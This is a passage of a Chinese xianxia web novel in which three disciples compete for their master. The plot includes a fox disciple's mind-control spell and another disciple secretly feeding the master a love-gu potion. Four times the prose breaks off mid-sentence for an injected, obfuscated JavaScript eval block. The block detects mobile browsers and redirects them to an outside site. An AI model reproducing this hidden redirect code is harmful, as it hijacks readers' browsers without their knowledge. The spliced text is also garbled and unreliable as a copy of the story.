虽然没有灵魂但抱在怀里就像是一个蓬松柔软的大玩偶,更重要的是,这大玩偶又不会不听话地往他被子里钻。 “想找师父研究术法的……谁知道师父这么忙……”说是这么说,路离也没有一点识趣就走的意思,反而是站在原地,委屈吧啦地看着自家师父,就差明示了。 “好了好了,过来吧。”晏江山有些心虚,他把玩偶放在一旁,冲路离招了招手。 下一秒,一只白色的更大的团子就飞奔上了床,顺便很不经意的,很不小心的尾巴一甩,那毛球就顺势滚在了地上。 路离自然是马上就补上了那个位置,在师父怀里蹭来蹭去。 伸手不打笑脸狐,这么多年晏江山也明白这家伙的心性,没多说什么,只是把实在粘人的狐狸稍稍拉开:“说吧,什么术法,还非要大晚上研究。” 就是晚上研究效果才好啊。路离心底悄咪咪地补上一句,然后拿出了那本惑心术:“师父!这个!我不太明白。” 还真是涂山的秘术,自己这徒弟涂山回来一趟,是真的成长不少,都开始努力学习功法了,照以前这可都是他嗤之以鼻的东西。 小小的感慨过后,晏江山扫了眼,发觉都还挺简单易懂的。 “你哪里不明白?” “理论我是懂了,但是没有实践的机会呀师父,你看顾鸣跟晏月,还有那个最近住进来的问野,没有一个喜欢我的,照书上的说法,如果对他们施术很容易遭到反噬。”路离看着自己师父,期待着他接话。 “你想让我给你试试?”青年察觉了怀里狐狸的小心思,他没有多想,只是觉得有点好笑,“我现在是元婴,识海自带防御,找我不是更容易反噬?” “可是师父喜欢我~”路离声音里满是自得,像是提起什么很开心很开心的事情,尾巴都要翘上天了。 “好,好。”妖族寿命普遍长一些,路离也就是刚成年的小孩儿心性,给点喜欢就得意的不行,晏江山看着也觉得好玩。 “那你来吧。” 路离当即凝神聚会,控制着妖力将其分散在两只竖瞳上,而后目不转睛地盯着面前的人。 青年也如他所说的那样配合,一双琥珀色的眸子里,倒映着一只狐狸,好像心里眼里都是他一般。 “师父,你喜欢我吗,为什么。”路离有些兴奋。 “喜欢。”晏江山回答的很快,没有任何不情愿的地方,路离也没有遭受到反噬,显然这是他的真心话。 “很软,很可爱。”第二个回答同样很快,路离觉得这个答案有些怪怪的,但很快就被师父是真的很喜欢他这一点,给冲击的头昏脑涨。 狐狸那个小小的心脏跳得越来越快,喉咙也紧张到发涩,他几乎是凭着本能问出了最后一个问题:“师父,那你愿意跟我——” “路离!” “嘭”的一声,房门被打开,看得出来人是真的很生气,晏月飞出去一记灵力打向路离:“你在干什么!” 惑心术被打断,本来心神就没被操控太深的晏江山,瞬间就回了神,他当然也回忆起了刚才路离都在问什么,但是晏月现在这么生气,他同样理解。 “跟师尊一起研究术法啊。”路离轻巧避开,落在地上又化回人形。 “在床上研究狐族术法吗。”晏月看着一脸无所谓的路离,语气微冷。 路离反驳:“你都能歇在师父榻上,我为什么不行,狐族术法怎么了?” “好了,不要吵。”晏江山揉了揉额角,明明以前都还好,怎么最近这些个徒弟,越来越针尖对麦芒了。 “你们两个没什么事都出去,我要休息了。” 晏月看了眼晏江山,俯身行礼:“是,师尊。” “嘁。”路离因为晏月的打断,直到现在也不满,但师父发话他还是听的,不情愿归不情愿,也老实下去了。 翌日一早,晏月又跟没事儿人似的,把顾鸣跟路离通通喊了出来。 顾鸣的状态看着比之前在峰顶的时候要更差一些,眼睛布满了血丝,看起来像是有些日子没睡好。 而路离则是还因为昨天晚上的事生晏月的气,一脸不耐。 “今天去药王谷拿些草药,路程半日,事关师尊的病症,希望两位能同行,路上也少些祸端。” 原本路离是想直接拒绝的,听到“师尊”两个人,那些字眼也就咽回了肚子里。 晏月看准了他似的,接着道:“希望师弟不要因为昨天晚上榻上之事怪我,毕竟是精神操控,惑心之术,师尊刚病愈,实在不适合跟你研习这种术法。” “你说什么?” 这话可谓是把该说的不该说的,都模棱两可倒了个干净,顾鸣脸色当即变了,手中的剑也隐约颤动,随时要出鞘一般。 路离虽然感觉晏月的话古怪,但是他好像也只是把昨晚的事情说出来了而已,很快,他的矛头就对准了语气不善的顾鸣:“你能跟师父练习剑法,我当然也可以找师父练习。” 男人没说话,但是脸色依旧不好看,他目光沉沉盯着张扬的师弟,不知道在想些什么。 “时间紧急,有什么回来再说,先把药拿了吧。”刚才默不作声的晏月,此时站了出来做和事佬。 拿了师尊做筏子剩下的两人当然也没有不应的道理,虽然一路上三人都不怎么言语,但直至抵达药王谷也没发生什么其他矛盾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14037787|148068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “晏道友,敢问是来取愈灵枝的吗?”身着墨绿服饰的药王谷弟子,对晏月的态度可谓是诚惶诚恐,半点没了之前秘境之外的嚣张。 路离皱眉,这才短短几日,药王谷的态度怎么会变得这么快。 “三位道友请随我来,这东西年岁过千不太好采摘,可能还需要些时间,请在此凉亭稍后。”弟子说着,便退下了,看样子是去取所谓的愈灵枝去了。 虽然是师兄弟,但这时候也依旧谁也没理谁,直到不远处一阵吵闹,远远就能看见被押解着的两个人。 他们齐齐看过去,旁边原本奉茶的侍从,见状解释道:“诸位客人见谅,是药王谷执法堂正准备施罚。” “是偷盗草药?”顾鸣跟路离只是皱眉,话头还是晏月挑起来的。 “药王谷千百种草药,哪里怕这些东西偷盗一二。”侍从还没说话,远处就又走过来一人,正是如今的少主张宣。 他慢步过来,手中还拿着什么东西,比起之前秘境门前的时候,沉稳了不是一点半点,就是给路离的感觉不太对,对他来说,今日的药王谷可是处处透着反常。 张宣不看其他人,只是看看远处的施罚现场,语气讥讽:“能干出这种勾当,这师徒也是活该了。” “什么师徒?”路离昨晚才想着跟师父研究惑心术,现在听见这种话正是敏感的时候,连旁边一直端坐的顾鸣,此刻也抬起了头。 “光天化日师徒苟合,行此有悖伦常之事,如若不罚,我药王谷岂不是成了修真界的笑柄,非得除之以正宗门清名。” “道友说的是。”晏月笑笑,接过了张宣手里的愈灵枝,正是顾鸣跟路离都各有所思的时候,两人交互间,一缕灵力直接钻进了张宣略显无神的眼睛。 刹那间,张宣的动作停顿了一下,才又复正常:“愈灵枝就在这里了,三位道友,路上慢走。” 他们出了药王谷的时候,那对师徒已经看不见踪影了,只剩一些吵闹的杂音。 回去的路上,三人一样各自沉默着,只不过原本的沉默只是不想搭理对方,现在就有点各有心事的样子了。 晏月瞧了眼顾鸣的脸色,现在这幅模样,如果让师尊看了去,多半都要担心这位大师兄会不会走火入魔了。 忽然,顾鸣一个踉跄,他拂开晏月准备扶着人的手,独自在飞舟的一隅坐下运气,偏偏本来就被心魔蛀空了的识海,现在尽是刚才那师徒被绑走,言语欺辱的画面。 “顾鸣,你会给你师尊带来灾难的。” “你是他的第一个徒弟啊,如果事情败露,你师尊百年清誉将毁于一旦。” “你怎么敢爱他呢?” 那声音吵闹够了,又幻化成晏江山的模样,言语轻佻:“你真的不想我们发生些什么吗?” “咳!”两种声音在他脑中交错,杂乱不堪,灵力运转的越来越混乱,顾鸣吐出一口血来。 “师兄,没事吧,怎么了?”晏月冷眼看着,随手给他递上药,一直陷入自己思绪中的路离,也投来一瞥。 跟顾鸣不同,路离听见那些事情的时候,他脑子里仿佛闪过了一些东西,一些一直被他忽略掉的东西。 如果想让师父跟他结亲,一生一世一双人,需要师父像喜欢那个毛团子一样喜欢他,夸他摸起来软,很可爱吗? 不需要。 那需要的是什么? 路离原本沉溺在师父的夸奖跟摸摸里的脑子,终于清明了起来,瞳孔也跟着思绪越睁越大。 是那些有悖师徒伦常的事!! 23.师父! 在路离想明白那些东西的时候,顾鸣正在强行调整体内的灵力运转,好在虽然心绪不稳,但是还算能压的住,只是不能再被刺激罢了。 男人看了一眼晏月,他不是傻子,从开始带他们两个来拿药,到药王谷出来,没有这位心思缜密的师弟从中作祟,是不可能的。 晏月收到警告的目光,仍旧只是神色淡淡,并不把这些东西放在心上。 “师兄不必对我有怨,有什么气不如去找那个问野撒,师尊对他可是颇为喜欢,指不定,我们就真要有个小师弟了。” 说完最后一番话,青年飞身去了自己另一个飞行法器,情蛊最要紧的两样骨虫跟万毒藤都还没找到,药王谷事情办完了,他可没工夫跟这两个耗。 “两位先请吧,我得去寻些其他草药。” 路离跟顾鸣再怎么也知道这人肯定是故意的,故意引他们去药王谷走一遭,虽然不清楚晏月到底是怎么跟药王谷搭上的,但是那一幕却实实在在印在了两人心里。 只不过出了完全相反的效果而已。 他们本人,包括已经走掉的晏月,都还不知道接下来会因为这些东西,闹出什么风波,但他们的心里都只有一点:为了师尊。 彼时的晏江山正在庭院里待着,昨天如果只是晏月神出鬼没的,今天就是连带着另外两个徒弟都不在了。 路离那个素来恣意惯了的小子,都这么用功的找他学起了术法,或许顾鸣也在其他地方用功呢? “江道友!”正百无聊赖地抱着毛团子,晏江山忽然听到了问野的声音。 问野的住处并没有给安排在后院,为了不让几人的身份露馅,给安排在了前面庭院的客房里,如今过来后院,定是来寻人的,寻得是谁,显而易见。 “问野道友,昨天睡得可还好?”问野热情,晏江山也不好做出一副冷脸,更何况这人之前还帮了他跟晏月大忙。 等等……青年一愣,他是不是忘了什么东西…… “睡得很好。都是熟识了,道友道友地唤着未免生疏,我叫你岁安可好?” 问野直接搂了上来,这份热情可比晏江山想象的还要浓烈一点,甚至过于浓烈了。 “当然可以。”晏江山虽然不习惯,但还是应下了,也正是刚才,他记起来之前问野救他时弄脏的簪子,还被收在储物戒没还给人家呢。 听着人乖乖应下,问野勾起嘴角,没人发现他的眸底的揶揄,明明是强悍的修士,却因为一些莫名其妙的原因,伪装上了乖巧小师弟。 偏偏这人乖的时候,也乖的他心痒,总想让人上去捏两把。 其实他有一点骗了他,昨天晚上他睡得可一点也不好,化了形之后把整个九灵峰都逛遍了。 还找机会去了后院晏江山的住所,但是他没敢靠太近,现在的晏仙尊,可是了不得的,会叫他跪下的人物。 虽然问野一点也不介意就是了。 “岁安在干什么?你那几个师兄呢。”问野心怀鬼胎,但是半点不虚。 “他们有事出去了。”晏江山在想怎么才能把话头转移一下,他堂堂仙尊做了上百年,是真的不想被这么当成小孩。 “道友,你之前的簪子还在我这里,等我现在去清洗了还你吧,如果道友想要新的,也可以自行去山下灵行挑选,届时算在我账上。” 其实如果那是一根普通的簪子,问野是很乐意顺势把他叫上,陪自己再精挑细选一番的,如此一来又多了许多时间。 想着,少年露出了略微遗憾的表情,那玩意儿怎么就是白玉林呢,啧。 “不必再买了,白玉竹簪本是父母遗物,上次情急之下才丢了出去,没事就好,我还是留着吧。” 晏江山闻言心中一动,愈发觉得自己罪恶了,这问野道友,真是热心的好少年啊。 他立刻跑去最近的清溪做了简单处理,又用灵液仔仔细细擦了好多次,确定真正干净之后这才交给问野。 “啊啊啊啊啊啊啊问大爷,你终于来了!!我跟你说这个人他不可能只是九灵峰的一个小师弟,他的储物戒里很多高阶——” 白玉竹的传音被打断,面对这个所谓的“父母遗物”,问野看也不看,直接塞进了自己那满是鸟毛的储物戒里,然后继续跟仙尊搭话。 如果说之前他还奇怪小仙君表现得对他感兴趣时,那几个“师兄”脸色不好,现在他就清楚了。 换做他做这位晏仙尊的徒弟,也是恨不得自家这位师父眼里只有他的。 说曹操曹操到,在问野想到另外几人时,路离他们的飞舟也正好落地。 “师弟!!”路离还是一见了晏江山就整个黏了上去,不过这次跟之前不一样,路离没有习惯性的化出原型,而是用人身扑了上去。 他如今已经是成年的姿态,涂山狐族一直以来,皮相都是个顶个的好,身材自是更不用说。 被这么突如其来的一抱,晏江山感觉整个人都要喘不上气来,更无心感受衣服紧实的肌肉,跟路离那颗终于开窍了之后,砰砰的,激动的心跳。 旁边问野微不可察地皱了下眉,九灵的师徒关系居然都好到这种地步吗?他又看一眼跟着路离一起下来的顾鸣。 跟以往总是严肃着一张脸,吝啬于过多话语的九灵峰大弟子的形象不同,顾鸣这次直接制止了这个不着调的师弟。 “路离,还有外人在。” 刚刚才在药王谷见了那种场面,对于路离的行为,原本狐狸形态他就嫌弃路离太黏师尊,现在这种人身更是觉得不妥。 “看来岁安在九灵峰也是很受欢迎的。”作为“外人”被这么点了名,问野也没客气,意有所指道。 路离跟顾鸣听见这声“岁安”更是不约而同看了过去,晏月临走时那番话回应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14045086|148068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在心头,叫的如此亲密,师尊当真准备再收一个小师弟? 思绪翻涌,顾鸣识海被搅成一团,跟着灵力都有些外泄。 晏江山一眼就看出了自己大徒弟的不对,他上前刚想问些什么,顾鸣却顿住,往后退了一步,行礼告退。 那步子快得,仿佛他是洪水猛兽似的。 “可能大师兄忙着去练剑吧。”路离随意找了个由头,又接着,“上次我不是新得了一本功法,刚研习一点,不如师弟陪我?” 路离说的很明显就是惑心术,晏江山原以为昨晚过后,他会放弃这个念头,没成想居然还想来。 徒弟如此用功,他这个做师尊的也不好扫了兴致,只得回头对问野抱拳:“问野道友,请自便。” 问野当然也就顺势离开,这种时候,肉身还不如化形方便,他自然是要去瞧瞧的。 为了避免像之前一样暴露,他没有莽撞的整个化形,而是只挑了缕神识寄在一片羽毛上,就好像只是晏江山手里的毛团子,不小心脱落下来的。 羽毛躲开洒扫小童的视线,以一种毫不附和现在风向的姿态,顽强逆风到达到了窗户边角,就这么“卡”了进去,再往里就不行了。 虽然房间施加了禁制,但是他还是能窃的一言两句,这师徒二人,似乎在说着什么狐族功法。 “你那涂山术法还打算在我身上实践?”晏江山问。 “师父师父,我就只有你了师父。” 换成以前,路离是肯定忍不住原型在师父很少蹭的,但是现在不同,他可是一只开了窍的狐狸,那怎么能用原型呢? 肯定是人形啊! 人形的路离很快就发现了一个问题,变做狐狸时他还能控制体型大小,人身可就不是这样了。 他抱住师父却发现自己最最最喜欢的师父,几乎是他一只手就能搂住的,好像整个人都属于他了一样。 “怎么今天那么黏人。”晏江山无奈道,这模样可真不如小狐狸方便可爱。 “师父以前不是也经常抱我吗,我抱抱师父有什么。” 青年觉得涂山的教养肯定跟人类是不同的,本来就是不一样的认知,他也不打算强行纠正什么。 反正等顾鸣那边彻底养好伤,也就差不多可以着手完成任务,他可不想再拖到下一次病发。 “不是说要研习术法?”晏江山拿来路离的手,“还是想试试惑心术吗?” “这次!!是惑心术的加强版!”路离说着语气有些兴奋。 要让师尊跟他结亲,是得有喜欢,但也不能是对那个毛团子一样对他!想结亲的喜欢,是药王谷那对师徒一样的,有悖师徒常伦的喜欢! “哦?”晏江山往椅子上一坐,端起茶盏,打算慢慢听听这个以往并不怎么用功的徒弟,能说出什么加强版的功法。 “师父!我能亲亲你吗!!” 24.可他还是喜欢师父 “咳咳咳咳” 屋子里,晏江山被这突然的一句呛了个正着的时候,窗户边的问野,也正好一字不落的听见。 整根羽毛的绒都要炸起来,他都要被气笑了,这九灵峰的师徒是这么处的?问野好像知道为什么晏江山会中那么奇怪的父了。 或许是炸起来的羽毛有些显眼,原本只是在庭院洒扫的小童发现了他,伸手给捏走了。 这是哪里来的羽毛?莫不是路离师兄真的扑了哪只鹤鸟?小童下意识望向房檐,平日里总是窝在那里的路离,如今并不见踪迹。 “怎么感觉有些日子没见路离师兄了,这人都跑到哪里了。”他喟叹一声,拿上工具离开了。 问野这种修为还能窥见房间一二,小童是半点也听不见的,自然也不知道,他念着的师兄,正在他师尊的房间里,说着一些大逆不道的话。 “你说什么??”晏江山简直要怀疑自己的耳朵出了问题。 “我能亲亲你吗!”路离依旧大声,依旧兴奋。 好的,他知道了,不是他耳朵出问题了,是路离脑子出问题了。 “你怎么会有这种想法?那惑心术上是这么写的?”晏江山话出一口,就有些后悔,狐族嘛,有这些东西似乎也正常。 路离没有回答他,只是默默站在一旁,知道自己做错事了一样,整个人看着都要蔫吧了。 他不说话,晏江山又开始怀疑自己是不是语气太过,毕竟他族里术法就是这样的,只是挑选的实践对象并不合适而已。 “这种话不要再说了,不只是我,对九灵峰,乃至朝天宗的任何人都不许说。”青年缓和了语气,“术法以后跟你同族人研习会方便一些。” “知道了师父。”路离的语气闷闷的,兴奋小狐狸遭到了他师父第一次严厉的拒绝,看来他师父是真的一点也不想跟他做一些有悖伦常的事。 那师父根本就不喜欢他。 可他还是喜欢师父。 这不公平。 路离有些委屈,他像以前一样化出原型,乖乖巧巧站在师父跟前:“那现在能抱抱我吗。” 晏江山有些心软,毕竟是自己养了许多年的小狐狸,心性纯稚不懂这些东西,随意看了些族里功法就下意识找亲近的人问,这都是可能的。 他真的是过于严厉了?青年拧眉,又转念一想,或许就是这些年因为自己喜欢毛绒绒的私心,一直跟他亲近,这才让路离生了些不该有的心思。 不管是因为现在发生的事情,还是以后他会死,都是时候拉开点距离了。 “我有点累,想休息了。”晏江山变相的拒绝了他,也不想他一直念着这件事,随即吩咐道,“你下山去书阁给我拿着话本吧。” “好!”路离知道自己被拒绝,但师父不是不想理他,至少还是愿意让他去做一些事情的。 他又满血复活,兴致盎然地飞出了九灵峰,不就是话本吗,师父想看多少,就看多少!! “晏月。”晏江山揉了揉眉心,刚传音给晏月吩咐些事情,但并没有收到晏月的回话。 他又去哪儿了?怎么感觉最近总是不见人影。 青年索性出了门,这一个个徒弟各有各的怪异,顾鸣总不会有什么问题吧?他还记得顾鸣回来时的异常。 最近长老们在论坛秘境里发生的说,虽然他没在,但也知道点,魔修们放出消息吸引修士过去,且都是剑修居多,他们最不擅长抵御幻境。 预备用魇魔吞噬这些修士,强行提升境界破了秘境,但是这个计划被顾鸣打碎了,他那一战虽然去过琉璃潭静心,可晏江山还是有些不放心。 这么被魔修重视,让他们倾巢而出,四处作乱以引开其他修士视线的魇魔,会那么容易被除掉? 想想都很诡异。 晏江山凭着以前的经验,寻去了峰顶,山风猎猎,却不见往日在这里挥剑的身影,他走到崖边往下看,果然发现了一个山洞。 青年跳下去,刚好落在下面的平地上,山洞不大不小,有些深,虽然避了风,也是一样的冷,里面没有人只有一支微弱的,用灵力护起来的蜡烛轻轻摇曳着暖色烛火。 嗯?顾鸣还会在山洞里看着功法秘籍吗,怎地还把灯点上了。 晏江山觉得奇怪,他往里走,山洞里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14056565|148068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实也没什么东西,都被摆放的很整齐,像是它们的主人一样,一丝不苟看着就是顾鸣的做派。 刚打算出去再找找顾鸣在哪里,忽然晏江山听到了什么东西被风吹动的声音,簌簌作响,有些像风砸在纸张卷轴上。 他顺着声音走了几步,看到了一个黑暗中的卷轴边缘,那个颜色那个质感,很是眼熟。 青年僵住了,这东西不是天才榜……不对,顾鸣手里的是美人榜吧。 这么些日子过去,他都快忘记它还在顾鸣手里呢,不过就算是想起来,他估计也不好意思去问顾鸣。 跟自己徒弟解释这种事情,真的是很难以启齿。 照现在这个情势看来,顾鸣没看过的可能基本上是零了,蜡烛多半也是为这个准备的,那他那会儿有些避着他的架势,晏江山也明白是怎么回事了。 他不会是把自己当成调戏轻浮徒弟的变态师尊了吧!晏江山闭了闭眼,有种一世英名毁于一旦的无力感。 青年叹了口气。 罢了,总归到时候要让顾鸣杀了自己的,现在就让他对自己印象不好,总好过他对自己还尊敬爱戴时,亲手杀了自己。 晏江山手一挥,卷轴直接被卷进了他的储物戒,他离开了山洞。 在他走后不久,顾鸣便从远处匆匆赶回来,只一眼便知道,这山洞已经有人来过了。 男人的心紧了紧,仿佛有把石头,正悬在他的心口,他往里走,蜡烛还好好的,其他书籍也没人动过,只有最里面的卷轴不见了。 霎时间,天旋地转。顾鸣眼前黑压压的一片,什么都不被他听在耳里,看在心里,脑海中只剩下一件事:卷轴呢? 会是谁拿走了。 晏月?路离?还是,还是…… 一想到那个最坏的可能,顾鸣就仿佛被摄住了所有呼吸,师尊会怎么看他?一个偷偷藏匿画像的狂徒,还是觊觎尊长的不肖弟子? 就算不是,如果画像被旁人得了。这样的龌龊心思,对师尊来说又会是怎么样的灾厄呢。 他靠在石壁上,眸光黯淡。 蜡烛灭了,带走最后一缕亮光。 25.晏月搞情蛊干什么? 对于晏江山来说,今天的所有人都怪怪的,但是最奇怪的还是要数晏月了,哪怕是外出参加大比,他都会给自己及时传信。 但是今天一直到晚上,晏江山才见到这个二徒弟。 “师尊,试试?”晏月端着一碗药,是绿色的仿佛是什么东西的汁液,看起来不算太好看,不过晏月给他的药,一般也没有特别难喝的。 凭着对他的信任,晏江山什么都没问,就闷了下去。 甫一入口,遍嘴的苦味,甚至还有一点点酸,说不上来到底是什么味道,真的是怪极了,他来这里上百年,也没有喝过这种味道的。 晏江山皱眉问:“这是什么?” 晏月笑着递过来了一碟子蜜饯,他安抚着:“一些畜养身体的药,效果还可以,就是味道不太好,特地给师尊带了点东西甜甜嘴。” 虽然有些不想被这么当做怕苦的小孩,但晏江山还是接下了蜜饯,这些年真是被晏月惯的了,他都要以为修真界的药都不苦来着。 “罢了罢了。”晏江山又问,“你最近是怎么回事,在忙着采药?” “有两味药颇费功夫,不过现在也有些眉目了,在师尊下次病发之前,肯定是可以找齐的。” “需要我做些什么吗?”从他救下晏月开始,晏月就没怎么离开过他身边,要说黏人的程度,其实除了不善表达,晏月跟路离也是不相上下的。 现在为了找两味药奔波成这样,那肯定是很难找,甚至还带着危险的了,左右他现在无事,不去一起跟着看看。 然而,晏月却拒绝了他。 “师尊,这药就是麻烦,算不上很难,不劳烦师尊了。”晏月接着,“师尊好好在九灵峰待着,让我回来能看到,就已经很好了。” 说罢,晏月转身离开,只留下一个皱着眉的晏江山在原地。 整个九灵峰意识到这群弟子异常的,晏江山之外,还有一个问野。 彼时,问野正在自己试了隔音术的屋子里,从他看到那个涂山少主,居然这么对自己师尊口出狂言之后,他就一直没出去过。 直到晚上,白玉林都还在怀疑人生的状态:“你是说,路离喜欢他师父??” 一路上当了白玉竹筝,当了白玉竹簪,被埋在无数鸟毛里,现在终于能在这小屋子里变化成人形的白玉林,感觉自己脑子里好像也塞满了鸟毛,不能思考。 “你是不是误会了什么。”他继续惊奇,“晏仙尊的三个徒弟,都颇负盛名,尊敬爱戴晏仙尊,那也是出了名的,或许那些只是爱戴之语,你听错了呢” “你会想亲你师父?”问野抱臂反问。 “……”白玉林被问住了,他下意识回想起自家师父胡子都能编辫子的尊容,当即脱口而出:“那是万万不能的。” “那不就得了。”其实还有一些事情,问野没说。 在秘境的那一晚,他听到了嘤咛时,就直接掐断了白玉林跟自己的感应,所以白玉林不知道,那个晚上,问野就看出了这位晏仙尊状态的不对。 这种状态不对,不是修为大跌,也不是灵脉虚弱,而是精神上的异常,就好像被下了什么让人难耐的药一样。 他摸过晏江山的脉搏,那样的程度绝对是已经积毒好长时间了,他当时觉得是那个晏月下的。 现在看来,身为涂山少主的路离也不无可能。 但是,身为医毒圣手的晏月,他就真的不知道吗?如果是这两人联手欺上瞒下,窥伺师尊…… “喂!”白玉林伸手在正出神的问野面前挥了挥。 “这九灵峰看着也不像是传闻里那样和睦,一个个弟子也不知道抱着什么心思,可惜晏仙尊那么一个美人儿,培养出了一堆贪婪的饿狼。” 感慨过后,白玉林看向问野:“等你伤养好之后,我们就走吧,反正我们秘境的任务也结束了,听说最近玄武城有乱子,一起看看?” 问野沉默着摇了摇头。 “你真不去?听说是异宝出世,那边的拍卖行也出了大价钱,不只是玄武城的人,九城三域都齐聚玄武城,离泸阳又不远,一起去热闹热闹呗。” 问野再度摇头。 白玉林似乎是想到了什么:“过不了一阵,九灵峰肯定是要生乱的,这群弟子狼子野心,不趁这会儿离开,你想干嘛?” 问野看了眼晏江山宅院的方向,语气玩味,却又带着认真: “我要——” “拜入九灵峰。” 纵然白玉林觉得震惊,想想问野这么随心所欲的个性就释然了。但问野不是这么觉得的,他甚至还好好的做起了功课。 曾经叱咤魔门,让魔修们见了为之颤抖的家伙,也有老老实实坐在那里,研究起怎么能更让以后的师父喜欢。 现在的问野没想到,他是随心所欲惯了的人,然而有时候事态的发展,也同样很“随心所欲。” 那是一个下午,晏江山原本待在自己的屋子里看话本,这些天路离不知道是为了讨好他,还是恕之前犯下的错,简直是要把给他搜罗话本为己任了似的,天南海北拿来了好多。 “师尊。” 门外,晏月打了个招呼就进来了,还是端着汤药,跟上次的不太一样,看起来好看一点,但晏江山光看晏月另一只手的蜜饯就知道,肯定是不好喝的。 他放下话本,痛快的喝干净,虽然晏月一直没有具体说明这是什么汤药,但是他确实感觉喝完灵力汇聚的快上不少。 “我先出去了。”见人把药喝光,晏月笑了笑,师尊现在体内已经有了雌蛊,如果想再给他下第二只,势必得提前温养好身体。 现在万毒藤已经找到了,只差一只骨虫,但这东西难见,最近有可能在的地方,就是玄武城了。骨虫最喜欢的食物,就是跟随异宝伴生的灵物,天生地养,最得它们喜爱。 在心底定下了玄武城一行的计划后,晏月又起身离开。 这两日晏江山对这个徒弟行踪不定的样子已经有些习惯了,只是还会好奇,晏月究竟是干什么这么神秘。 他唤来小童,九灵峰人不多,这小胖童除了负责洒扫,还会跟晏月一起煎药熬汤,控制火候,他说不定他知道一些。 果不其然,小胖童挠了挠头:“晏月师兄没告诉过我,但是。” 他犹豫了一下,还是老实道:“别人给他传信时,我在窗外看到了一点,说是找什么万毒藤,要做什么情蛊。” “什么蛊?”晏江山一怔。 “情蛊?”小童忙道,“我只是无意间看到的,并非有意偷窥,识得字也不多,看错了也是有可能的。” “罢,你出去吧。”青年挥了挥手,让小胖童离开了。 情蛊?这东西听起来跟春药感觉差不多啊,他搞这玩意儿干什么?有喜欢的人,像逼人就范? 晏江山又觉得自己带大的小徒弟不是这样的人,为了避免误会,他还是给晏月传音,打算好好问一问这到底是怎么回事。 这边刚传完音,屋外就传来一阵吵嚷的声音,听起来似乎有路离,他又跟问野发生什么摩擦了? 青年皱眉,问野这些天可是好好地在这儿待着,时不时还送他一些自己做的小物件,路离怎么就跟他不对付呢。 避免事情闹大,晏江山忙快步出去,等到了地方,却发现问野也才刚到,显然,跟路离吵架的不是他了。 晏江山:“怎么回事?” “我也不知道。”路离有些暴躁,“我刚找东西回来,看见顾鸣莫名其妙闯了我的房间,还施了阵法把我关在外面。” “顾鸣,顾鸣你在里面吗?”晏江山让他稍安勿躁,自己上前敲了敲门。 清朗的男声自外面传进来,是他最敬爱的师尊的,但是顾鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14068840|148068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在却没有任何心思听。 他看着眼前的东西,双目无神。摊在他面前的,不是他想象中的被路离拿走的卷轴,而是一副图——春|宫图。 两具身体赤|裸裸的交|缠着,瘦小的一方被另一人死死抱住,彼此感受着对方,紧|密到不能再容下任何东西。 顾鸣的心在发涨,识海再度翻涌,自他的不轨心思明了后,从未消失过得东西再度猖狂起来。 “你在看什么呢?春宫图?” “且再仔细瞧瞧……那是你师尊啊。” “看这脸,看这姿势,你不想吗?” “你就真的不想口口他?” “顾鸣!是出什么事了吗?”晏江山声音大了些,也更加严肃。 “瞧啊,他那么关心你,你也这么爱他,你真的愿意以后看着自己多出来个师母吗?” “他总会有道侣,为什么不能是你。” “闭嘴!”顾鸣知道不好,想让自己清醒一些,提剑划破了手臂,鲜血溅上纸窗,红梅点点映上。 “上次也是伤了自己,用那根没送出去的簪子。” “可怜的孩子,叫你师尊来帮帮你吧。” 随着脑海中的话语落下,顾鸣眼前闪过许多画面,他买下的簪子,晏月跟他说的关于师母的话,被人拿走的卷轴,最后……又回到了最开始的,那个银白色的微凉夜晚。 他看见师尊在灵泉里对他笑,很好看,看见师尊探出身来,轻缓地叫他下去,看见那根簪子,被他绾在师尊头发上。 随即又看见了那副图,图上的人变成了他跟他师尊。 顾鸣眼睛里布满了血丝,他试图让自己停下这些亵渎的幻想,可是没用,四面八方,好像都是这些东西,都是他觊觎,窥视的不轨模样。 “能干出这种勾当,这师徒也是活该了。” 